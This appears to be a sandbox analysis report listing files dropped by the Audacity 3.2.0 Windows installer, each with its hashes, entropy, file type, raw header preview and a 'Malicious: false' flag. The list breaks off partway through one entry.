C:\Program Files\Audacity\msvcp140_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25520
Entropy (8bit):	6.052725299275264
Encrypted:	false
SSDEEP:	384:Pu1vZLEtU/POoKFYdWcp5gWaSKLHRN71dEjR9z0gi:WpqtcPOj6XLA1dEF9z
MD5:	9C1447BC98B6633B3E6964C5BA68483A
SHA1:	57743AFCFD13ECE2830B8F44AF744BBD10DE7263
SHA-256:	7D52238FF5A7AF6F4A5E229B1A7465A20FC17E2B401DA5DA9215A3073BF238C2
SHA-512:	A63FE4059ED519C3FD56CE012B08C8A7836A8563B738A19B2EA8A8FC7E48B4637A68D357CAE754E0A3D4A3509968BCD67DE69365925EC0F67209FE6E4E2555D6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......P.e............................t.......t...........>...t.......t.......t.......t.......t.......Rich............PE..d...YQ............" ... .....&............................................................`A.........................................?..L...<A..x....p.......`.......<...'...........4..p...........................`3..@............0..8............................text............................... ..`.rdata..2....0......................@..@.data........P......................@....pdata.......`.......2..............@..@.rsrc........p.......6..............@..@.reloc...............:..............@..B................................................................................................................................................................................................................................................................

C:\Program Files\Audacity\msvcp140_2.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	187312
Entropy (8bit):	6.543851526562827
Encrypted:	false
SSDEEP:	3072:sYRRZqoOwZfxWsy0f8FM0YGal4cxFL24T7bMXm1cF9cr70z5ThmdrVZt:swfqoIuf8q0Y2QFLjbM2Tegdr
MD5:	27816FB67FB85A331AAAC2929D7D9C53
SHA1:	8730FD669EEACAD5325D3D4BA4E08E563FE7B504
SHA-256:	EE22B3403268CBAC3F280F1A49A7FA285C0D01DA601F6914D6FE6AAC43068EFA
SHA-512:	E3D0C7B7C2C564DF482034E075F967115CA87B7EB9675CC61D741D27F6058E42835041F058D7FBB18573EA21A1FB1BA6ABF41DE81194128157473C0DFFD04B7E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......".C.f.-.f.-.f.-...,.d.-.o...j.-...).n.-.....e.-.f.,...-...,.a.-...(.s.-...-.g.-....g.-.../.g.-.Richf.-.........PE..d.....;..........." ... ..................................................................`A................................................X............................'...........M..p............................K..@...............P............................text...+........................... ..`.rdata..6...........................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Program Files\Audacity\msvcp140_atomic_wait.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57224
Entropy (8bit):	5.176488316243265
Encrypted:	false
SSDEEP:	768:rHL4+YhCv6vHKOIrHA3X2QLcE1xvHOQ69zl/:3RPSqOqg3X2QLcE1xqzl
MD5:	A2FD4CDCDBB750C519F4AD1ADAE439CC
SHA1:	045C69BFF67CA1FEDFEE941A78AE6464E5BC3A11
SHA-256:	A94B88A257E64514A7E19BBEC522391F2838AC9307D597ADB2D3EAF88F854DE3
SHA-512:	6A75C2D86E58D64011FF15355EDCD213EFBECE764C03F5190056C31031AD73805D04719C496C2D8BFB8B686B1DFF8894E559C9B10C560A469779863FC682671C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z5...T.P.T.P.T.P.&.Q.T.P.,NP.T.P~..Q.T.P~..Q.T.P.T.P{T.P~..Q.T.P~..Q.T.P~..Q.T.P~."P.T.P~..Q.T.PRich.T.P........................PE..d....2............" ... .:...........>.......................................@............`A........................................@f..D....k....... ..........P........'...0..\|...pX..p...........................0W..@............P..H............................text...^9.......:.................. ..`.rdata...$...P...&...>..............@..@.data...........B...d..............@....pdata..P...........................@..@.rsrc........ ......................@..@.reloc..\|....0......................@..B................................................................................................................................................................................................................................................

C:\Program Files\Audacity\msvcp140_codecvt_ids.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21392
Entropy (8bit):	6.282301676714795
Encrypted:	false
SSDEEP:	384:9vhXafwUhZWi3EWQKLHRN7re1x85zR9znk2:9soiKA6109zv
MD5:	CA46540F86E9ABE819EBAAF8CDE16681
SHA1:	70F3762CC6021A1E3ACB98108513DFD19613B76F
SHA-256:	14F943547D1FDB125059EEB9DFB146597AF96CAAC3EA9902578595E9B0C71FB4
SHA-512:	25C5F4491B565E8BC7EDB4F219E7B883F99D9B5BE787627FDB7619B5CB04305AFE9EA36C3EEC53E57E8F7174A65E48F903DBE49BAA272B618B276626292B45D2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%..)a..za..za..z..{c..zh.5zc..z..{b..za..z@..z..{f..z..{c..z..{m..z..{`..z..Yz`..z..{`..zRicha..z................PE..d.....N..........." ... ............P........................................p.......F....`A........................................p(..0....)..P....P.......@.......,...'...`..,...."..p............................!..@............ ...............................text............................... ..`.rdata..B.... ......................@..@.data........0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..,....`.......*..............@..B........................................................................................................................................................................................................................................................

C:\Program Files\Audacity\ogg.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	72168
Entropy (8bit):	5.392902801962167
Encrypted:	false
SSDEEP:	768:oFiu3Uhgnip5hBGtUplYwVrUP9lnmkEYX5:vmcgniL20iP9lnlX5
MD5:	BF0D933C269FE077603A195002E8E51F
SHA1:	4A43C6A47B5748E22230541FE5C13597E4408693
SHA-256:	C3424770AC6E8BACDB1C66FB489899ED3FE1F297E346BCFDB5461386AC72EAAD
SHA-512:	56AD1AC354D96CED3ADCAF9E116A43BADD7998B7A71B03D0A2B2289FC8C79163E4E589B3BCBBFD0521C408EE2F8D06A80D000D3F5707E1CEAC271447E8C2697A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Mc..,.Z.,.Z.,.Z.T.Z.,.Z.V.[.,.Z.V.[.,.Z.V.[.,.Z.V.[.,.Z_\.[.,.Z.,.Z.,.Z.V.[.,.Z.V.[.,.Z.V.Z.,.Z.V.[.,.ZRich.,.Z........................PE..d...8d.b.........." ... .x...p...............................................@............`.....................................................d.... ..<.......h......../...0..,...p...8..............................@............................................text...tw.......x.................. ..`.rdata..{N.......P...\|..............@..@.data...............................@....pdata..............................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc...<.... ......................@..@.reloc..x....0......................@..B........................................................................................................................................................

C:\Program Files\Audacity\opus.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	562664
Entropy (8bit):	6.094695931347398
Encrypted:	false
SSDEEP:	6144:MyBlvZCennwKm59fxBxN0vjAvRU4XuMacOpBzylmGdStGX+TT2B/IbRRrmxsASaT:dwEQAVWmGh+TT2Boi3j
MD5:	099E2B638D0BDEB27FF2B3BDCF9A46FA
SHA1:	88D6CF97F168ABF0DDF67B7411D7518DFDC39EAB
SHA-256:	CEDDDA646B5056685FB7A4A87C9AD18D4280F0BF903C10D1945C23EC655D31F7
SHA-512:	1B5E16B89463D30143704ACB3D76B75292A63680BD0CF53A7DC207689EF758412B6058AFFD8BB23B5F10746E13B5387924DE8B9F2D0A8668605FAAB323CA599B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3.EKw.+.w.+.w.+.~.....+....t.+.....z.+.../...+...(.s.+....u.+.w..X.+.../...+...+.v.+.....v.+...).v.+.Richw.+.........PE..d......b.........." ... ............#...............................................o.....`.........................................0........s..........<....@..l$...f.../..............8...........................@...@............p...............................text.............................. ..`.rdata.............................@..@.data...a....0......................@....pdata..4)...@.....................@..@.idata.......p.......H..............@..@.00cfg..u............V..............@..@.rsrc...<............X..............@..@.reloc..9............^..............@..B........................................................................................................................................................................

C:\Program Files\Audacity\portaudio_x64.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	229864
Entropy (8bit):	5.76303158269338
Encrypted:	false
SSDEEP:	3072:0N7K/0qjU8V5SypKBOAAXWLYs2jcPfD9WPomKlRG6LFGnunhf:h0HaSy0BOAWLQjkPotlRG6Yunp
MD5:	8B864CD34076A4F940545AE14C13E11D
SHA1:	A647D02E4C4FC934E74FD139DFB2BBFF378501E3
SHA-256:	AE07630EADC94CF3B2FDFD78FFF1CE2E5224681BC21BDE7B0771D51B3BCCA7B7
SHA-512:	162A13F439CAE451C2C43CB6E232E418DDFEE890DF6003EB2E90A8F6CB4612DA4D798C20E79C312644A627EEACB355503973942F9F6960B483B5D0FF2E8F3AE4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............qO..qO..qO...O..qO..pN..qO..tN..qO..uN..qO..rN..qO..uN..qO..pN..qO..pO..qO].uN..qO].qN..qO]..O..qO].sN..qORich..qO........PE..d....5.a.........." .........`............................................................`.........................................`...T....g..........<....@.......R.../..........t...8...............................8............`...............................text...d........................... ..`.rdata..............................@..@.data........ ......................@....pdata..$....@......................@..@.idata.......`.......*..............@..@.00cfg..c............F..............@..@.rsrc...<............H..............@..@.reloc...............N..............@..B................................................................................................................................................................

C:\Program Files\Audacity\portmidi.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	72168
Entropy (8bit):	5.000517824229806
Encrypted:	false
SSDEEP:	768:JjXhzLGaF4R8buDpSHlO6m1pHnmkEYX40B:JjX5T4SuDpSH81pHnlX40B
MD5:	F4C4DCE9958CDCAA078587F21BD110BD
SHA1:	5B2976AFB33CA143820883BA8BBEF6F6495993E9
SHA-256:	CEE2DE572863749B7890E6037A7E8629A9F368F333EEB90DBDACDE26962B9508
SHA-512:	4DEB66EA7003AB2B2E179013B87CA262E652459110DCF3D52EC40E80B5892E66A9180012126E10B1273D43F8B83079A5B48DB17F073EBCADF2077EB6475B53C3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........L..L..L..E.C.J.....N.....G.....D.....O.....K..L........I.....M..../.M.....M..RichL..........PE..d....5.a.........." .........b...............................................@............`.................................................x........ ..<................/...0......................................`...8...............x............................text...D........................... ..`.rdata...).......*..................@..@.data...............................@....pdata..............................@..@.idata..C...........................@..@.00cfg..c...........................@..@.rsrc...<.... ......................@..@.reloc.......0......................@..B........................................................................................................................................................................

C:\Program Files\Audacity\sndfile.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	692200
Entropy (8bit):	5.946896949403568
Encrypted:	false
SSDEEP:	6144:qVUcLAHg9culQu08+8OPx0DBVwf3g9WATjg44s9OZF164yvxZXo6w8dWC0KPmqn1:oKg9mu08DOPgBQg9W+g44WI1QvrRwlG1
MD5:	8D96C3D1D4CF00D6BEB8E3236A70A11B
SHA1:	3E1FE4A380592E2ED7033D76DDB72D992C1DEFA2
SHA-256:	E805BC69B3FC96C54997FAD52125D1D166273C71F30213E6887F713EB353D510
SHA-512:	58933480BA5AE75ADB0838E3FC2802AFEAB495C375BF0746751AEC136F9C965A7CA4D7A281F31240472405C3142B723751F33E2284804236EA25F2726AA94A7B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o..W+s..+s..+s..".7.9s......)s....Y.)s......&s......#s....../s......)s..N.../s......,s..+s...s......qs......s....[.s..+s3.s......s..Rich+s..........PE..d......c.........." ...!.............................................................t....`.........................................pj..7...0...T.......L.... ..`T...`.../..........p...8..............................@...............0............................text............................... ..`.rdata..............................@..@.data...9........\...\..............@....pdata...]... ...^..................@..@.idata...........0..................@..@.00cfg..u............F..............@..@.rsrc...L............H..............@..@.reloc...............R..............@..B........................................................................................................................................

C:\Program Files\Audacity\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	InnoSetup Log 64-bit Audacity, version 0x418, 34133 bytes, 468325\37\user\, C:\Program Files\Audacity\376\377\377\007
Category:	modified
Size (bytes):	34133
Entropy (8bit):	3.430278511740107
Encrypted:	false
SSDEEP:	192:kpO34sCH5kkqL49CwdiZKXdK/3cj5fWiJ3C6X8Z5YDYFdwpI9OAqd4Vp0VdMjuLm:kpOyg4qjOnJnHq
MD5:	D144BA9481D6994EDBA0B0A7BEB3C1AC
SHA1:	EBA899B08C8CCF7DE44AE7BD486CFA7871B11340
SHA-256:	2875E57BD0BFA2DAB9DEF331A0EA1B9FB793B9032E68FAD05BC5B0FBEA834D73
SHA-512:	EDE87D8658BBA04DAE45526CB6C92F03EC7FE81A857198E013BB856C28BC8B1706EC168E29493BAEA9D0C2A46E7B309845BFA08E87C6D27CE88A737FA4617E64
Malicious:	false
Preview:	Inno Setup Uninstall Log (b) 64-bit.............................Audacity........................................................................................................................Audacity................................................................................................................................U....................................................................................................................@;.........~EF.......s........4.6.8.3.2.5......e.n.g.i.n.e.e.r......C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.A.u.d.a.c.i.t.y..................;.... ........................C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.A.u.d.a.c.i.t.y......C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.S.t.a.r.t. .M.e.n.u.\.P.r.o.g.r.a.m.s.\.(.D.e.f.a.u.l.t.)......(.D.e.f.a.u.l.t.)......e.n........................."...8........C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.A.u.d.a.c.i.t.y........h........C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.A.u.d.a.c.i.t.y.\.F.i.r.s.t.T.i.m.e...i.n.

C:\Program Files\Audacity\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3301352
Entropy (8bit):	6.337141694661292
Encrypted:	false
SSDEEP:	49152:udx4HDQNJL0VR6SgMt+k4RiP+RmXMjiINiMq95FoHVHNTQTEjt333ONcqnx:PHDYsqiPRhINnq95FoHVBt333ONcqx
MD5:	220722BABC7320F6FF80BB591C9DA719
SHA1:	6F2700F72228979D0168E9A2C01C69621E206577
SHA-256:	56C39AD68F75846127334E0266E1A5FD7465EA9F00EF2D47CA16A7672DF13897
SHA-512:	C0782345CBFB35F84DA7001F15BDC45AA477F0C53E21B722AC7ED8C5F40C9DF83145DA45F54321893E5EFEFDE400B55AA6EAE6E83A9C82436E9A48491CFD8555
Malicious:	false
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...oGXb.................B,.........`V,......`,...@...........................3.....B.2...@......@....................-.......-..9...................02../....................................-.......................-.......-......................text.....,.......,................. ..`.itext...(...0,..*....,............. ..`.data........`,......F,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-.......-.............@..@.tls....L.....-..........................rdata..].....-...... -.............@..@.rsrc................"-.............@..@..............1.......0.............@..@........................................................

C:\Program Files\Audacity\unins000.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	InnoSetup messages, version 6.0.0, 261 messages (UTF-16), Cancel installation
Category:	dropped
Size (bytes):	24097
Entropy (8bit):	3.2749730459064845
Encrypted:	false
SSDEEP:	192:b1EjNSCkf3SCqsTr6CCPanAG1tznL7VF+Iqfc51U5YQDztXfbKJG/Bfvo:b1EK6CHr6fSX+7Q1U5YQDztB/B3o
MD5:	313D0CC5D1A64D2565E35937991775A6
SHA1:	B8ACB11878C485865C9E4679248E53B83A8F3AD4
SHA-256:	5ED0233C0922E9F20307315E24B4F33C3D56AB9F42B2F75AE91E7A27FD313B66
SHA-512:	7C2DB4A3A4A8DF09F8119A7BA4CA9EBFE562F0A34D431928344E21A5853931EEFBFD910DC4026C6788AC22423BBB125F2B700326D8A1D82B134E2B486C3D0684
Malicious:	false
Preview:	Inno Setup Messages (6.0.0) (u)......................................]..+..... .C.a.n.c.e.l. .i.n.s.t.a.l.l.a.t.i.o.n...S.e.l.e.c.t. .a.c.t.i.o.n...&.I.g.n.o.r.e. .t.h.e. .e.r.r.o.r. .a.n.d. .c.o.n.t.i.n.u.e...&.T.r.y. .a.g.a.i.n...&.A.b.o.u.t. .S.e.t.u.p.........%.1. .v.e.r.s.i.o.n. .%.2.....%.3.........%.1. .h.o.m.e. .p.a.g.e.:.....%.4.....A.b.o.u.t. .S.e.t.u.p...Y.o.u. .m.u.s.t. .b.e. .l.o.g.g.e.d. .i.n. .a.s. .a.n. .a.d.m.i.n.i.s.t.r.a.t.o.r. .w.h.e.n. .i.n.s.t.a.l.l.i.n.g. .t.h.i.s. .p.r.o.g.r.a.m.....T.h.e. .f.o.l.l.o.w.i.n.g. .a.p.p.l.i.c.a.t.i.o.n.s. .a.r.e. .u.s.i.n.g. .f.i.l.e.s. .t.h.a.t. .n.e.e.d. .t.o. .b.e. .u.p.d.a.t.e.d. .b.y. .S.e.t.u.p... .I.t. .i.s. .r.e.c.o.m.m.e.n.d.e.d. .t.h.a.t. .y.o.u. .a.l.l.o.w. .S.e.t.u.p. .t.o. .a.u.t.o.m.a.t.i.c.a.l.l.y. .c.l.o.s.e. .t.h.e.s.e. .a.p.p.l.i.c.a.t.i.o.n.s.....T.h.e. .f.o.l.l.o.w.i.n.g. .a.p.p.l.i.c.a.t.i.o.n.s. .a.r.e. .u.s.i.n.g. .f.i.l.e.s. .t.h.a.t. .n.e.e.d. .t.o. .b.e. .u.p.d.a.t.e.d. .b.y. .S.e.t.u.p... .I.t. .i.s. .r.e.

C:\Program Files\Audacity\vcruntime140.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	98736
Entropy (8bit):	6.474996871326343
Encrypted:	false
SSDEEP:	1536:BxhUQePlHhR46rXHHGI+mAAD4AeDuXMycecb8i10DWZz:Bvk4wHH+mZD4ADAecb8G1
MD5:	F12681A472B9DD04A812E16096514974
SHA1:	6FD102EB3E0B0E6EEF08118D71F28702D1A9067C
SHA-256:	D66C3B47091CEB3F8D3CC165A43D285AE919211A0C0FCB74491EE574D8D464F8
SHA-512:	7D3ACCBF84DE73FB0C5C0DE812A9ED600D39CD7ED0F99527CA86A57CE63F48765A370E913E3A46FFC2CCD48EE07D823DAFDD157710EEF9E7CC1EB7505DC323A2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A.&k..H8..H8..H8.I9..H8...8..H8..I8(.H8e.K9..H8e.L9..H8e.M9..H8e.H9..H8e..8..H8e.J9..H8Rich..H8................PE..d....9............" ... .....`......`.....................................................`A........................................0C..4...dK...............p..p....Z...'...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......B..............@....pdata..p....p.......F..............@..@_RDATA..\............R..............@..@.rsrc................T..............@..@.reloc...............X..............@..B........................................................................................................................................................................................................................

C:\Program Files\Audacity\vcruntime140_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38304
Entropy (8bit):	6.3923853431578035
Encrypted:	false
SSDEEP:	768:Xhh4pTUUtmUwqiu8oSRjez6SD7GkxZYj/9zLUr:xJ9x70GkxuZz2
MD5:	75E78E4BF561031D39F86143753400FF
SHA1:	324C2A99E39F8992459495182677E91656A05206
SHA-256:	1758085A61527B427C4380F0C976D29A8BEE889F2AC480C356A3F166433BF70E
SHA-512:	CE4DAF46BCE44A89D21308C63E2DE8B757A23BE2630360209C4A25EB13F1F66A04FBB0A124761A33BBF34496F2F2A02B8DF159B4B62F1B6241E1DBFB0E5D9756
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L......................h.........G.........:...h.......h.......h.......h.......h.+.....h.......Rich............................PE..d................." ... .:...6.......A..............................................B.....`A.........................................m.......m..x....................n...'......D....c..p...........................`b..@............P..`............................text....9.......:.................. ..`.rdata..."...P...$...>..............@..@.data................b..............@....pdata...............d..............@..@.rsrc................h..............@..@.reloc..D............l..............@..B................................................................................................................................................................................................................................................

C:\Program Files\Audacity\vorbis.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	945128
Entropy (8bit):	4.279583617257976
Encrypted:	false
SSDEEP:	12288:TgsCNapV6RcecQVOQuxONdz8SVvnluD942:TYmIRcecQVOQuxONdzhvEB42
MD5:	8FCCCB03718720C8C3FA871B9B590C7E
SHA1:	ADE264198F7D276A028DD3A06EBC1DBD6074671F
SHA-256:	8DC8DA85EBE1FB02859A3597327972658F8115A4D935B80038929630A2CE3B8D
SHA-512:	1CE93DE1E136A31095BBBE4ED848AE56E1B7994490C5070766361702B356B79948E73A15EB6B7FBA0130EEDABECA4E6CE4494DC2B4C94273735329DC5F6E2380
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........4...g...g...g.4g...gW..f...gW..f...gW..f...gW..f...g3..f...g...f...g...g...gZ..f...gZ..f...gZ.Xg...gZ..f...gRich...g........PE..d...H7.c.........." ...!.....\.......................................................%....`.........................................P........4.......`..<............<.../...p..........8...............................@............0...............................text............................... ..`.rdata..Z...........................@..@.data...............................@....pdata..............................@..@.idata.......0......................@..@.00cfg..u....P......................@..@.rsrc...<....`......................@..@.reloc..S'...p...(..................@..B................................................................................................................................................................

C:\Program Files\Audacity\vorbisenc.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	707048
Entropy (8bit):	3.24844142402871
Encrypted:	false
SSDEEP:	12288:n2RckcQ2VKQxHsyz8Bd5aON5IM3NX5u3YcoI:2RckcQ2VKQxHsyzEd5aON5IM3NXahoI
MD5:	E030B6191941E62C20FEF23C122CAE39
SHA1:	01596411BC03E7029FD10CB0BEF2965F330846AA
SHA-256:	3B2D26E77EF514496F2F72FCAAFD8B44F2B68492912D6E54C0FC6FDF50F21DF1
SHA-512:	DFA570A5D5A90E696B210218AC80440A6AFFB786DC6066375249F18BB85C56FE212238F57C8973811074C821F842DD220B4EF7BCB3AA29360CF29DD517805401
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e...!..!..!..(.,.%......#......-......&......#.....#......"..!......... ...... ....@. ...... ..Rich!..................PE..d...I7.c.........." ...!.................................................................`..........................................h..-.......x.......<.......0......../......h...@V..8............................T..@............................................text............................... ..`.rdata.............................@..@.data...Y....p.......X..............@....pdata...............Z..............@..@.idata..K............`..............@..@.00cfg..u............l..............@..@.rsrc...<............n..............@..@.reloc..Q$.......&...t..............@..B........................................................................................................................................................

C:\Program Files\Audacity\vorbisfile.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	77800
Entropy (8bit):	5.1415946482504316
Encrypted:	false
SSDEEP:	768:ubizvVVq/jsHKmrbOvsoBQY/OoYr+xCWnmkEYXzN:ubiHPHKmHzYQMOHWnlXzN
MD5:	7EA34FEA5E6844EF6AECF40D4E2E4755
SHA1:	B01C7EB1DEC67E84C49B56D855C44549F23F02C5
SHA-256:	EA1DDA597969188C34CDBB0B6A16E8FE429FEC38440F05F26DE75CCACA1DEE9C
SHA-512:	7EE62A59A6327943FB1D0E38DFD2528CAB45030DB72757DE9CA2151DCB51363C67252ABBF503E19F2B481E70BEBAA43D89E6E937A2148C3F5258F8825A2796D6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2.{.v...v...v.......~.......t.......{.......~.......r.......t.......t.......u...v... .......w.......w.......w.......w...Richv...........PE..d...I7.c.........." ...!.....^...............................................`......Ee....`.........................................`................@..<................/...P..0.......8........................... ...@............................................text............................... ..`.rdata..\|(.......*..................@..@.data...............................@....pdata..............................@..@.idata..............................@..@.00cfg..u....0......................@..@.rsrc...<....@......................@..@.reloc.......P......................@..B........................................................................................................................................................

C:\Program Files\Audacity\wavpackdll.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	238056
Entropy (8bit):	5.483365699610266
Encrypted:	false
SSDEEP:	3072:SBrlI7oVFlKxmfKOi8kQdwIGm3Knb/XRRfTOZfBnhI:SNlFVmxMviI6In3Knb/XRRfTOZJny
MD5:	F00F89C0940C28BC3FDEFD3AE9598085
SHA1:	CD0614A3B2C0259A97770ABE79D7E56229E634AE
SHA-256:	4A154F448548DF693276DE6F6723BECD09C1CA938F02B3AE0623422579D7F914
SHA-512:	FCA20A43E5AAB4E06004C4CECA1B380C2065B3B0E175C2310CC81BC70680A30FCD06D7B57DC6E74EB4F5D872B37500EA77A089F3914027B2FA933C5DFAD35E98
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N.-...C...C...C.......C.h.B...C.h.F...C.h.G...C.h.@...C..B...C...B.J.C.k.G...C.k.@...C.k.C...C.k.....C.......C.k.A...C.Rich..C.................PE..d...b.b.........." ... .................................................................`..........................................A..k...............\|....`.......r.../......p.......8...........................p...@............................................text....F.......H.................. ..`asmcode..=...`...>...L.............. ..`.rdata..k...........................@..@.data........P.......8..............@....pdata.......`.......<..............@..@.idata...............P..............@..@.00cfg..u............b..............@..@.rsrc...\|............d..............@..@.reloc..;............n..............@..B........................................................................................................

C:\Program Files\Audacity\wxbase313u_vc_x64_custom.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3775464
Entropy (8bit):	5.936143212847973
Encrypted:	false
SSDEEP:	49152:lJ/D9/J+5LLXLpgUISnbPY0wTr1GK15vfmi3OqUh8oLWkp:j9/cLFnbAlZ15nILN
MD5:	3E61C8621670B631553A226789DF80A9
SHA1:	4577401E148C97D1E99B42D6E9062227F72ED98B
SHA-256:	E5CB1D17D5C1570BA7A4557A25DA9D1CE77EB0376FFBB8608411CED473A6C73C
SHA-512:	1BA37BAAA8FE5FBA1831E443FA4515E926E0719690817A00E545C72B94EDB34E0321466E4B2DE90C4D07050A03B7176A5C1511F2AE6DC1C665CF2091BD2FA8EB
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........gn....F...F...F.~.F...F.~.G...F.~.G...F.~.G...F.~.G...Fb..G...F.v.G...F.v.G...F.v.G...F...Fi..Fb..G...Fb..G...Fb..G...Fb..F...F...F...Fb..G...FRich...F........PE..d.....{b.........." .....d$..<................................................:.....6.9...`..........................................g-......69.......9.......7.8`...l9../....9.."...n(.8.....................(.(....l(.@............ 9..............................text....c$......d$................. ..`.rdata........$......h$.............@..@.data.........6......l6.............@....pdata........7.......7.............@..@.idata..JV... 9..X....8.............@..@.tls..........9.......9.............@....00cfg..u.....9.......9.............@..@.rsrc.........9.......9.............@..@.reloc..8L....9..N....9.............@..B........................................................................................

C:\Program Files\Audacity\wxbase313u_xml_vc_x64_custom.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	118760
Entropy (8bit):	4.936331422694148
Encrypted:	false
SSDEEP:	1536:ZumdOBSsOwRwyy/yR8/f7HfUQJtJ4FSRtnlXm:crBhOwRwyyLLcQ3Rtnhm
MD5:	4ED1FFE023C307E13C05B0672E21A75A
SHA1:	8B83AF12AE211A13FC9330A58C03F7BA83CB5BC8
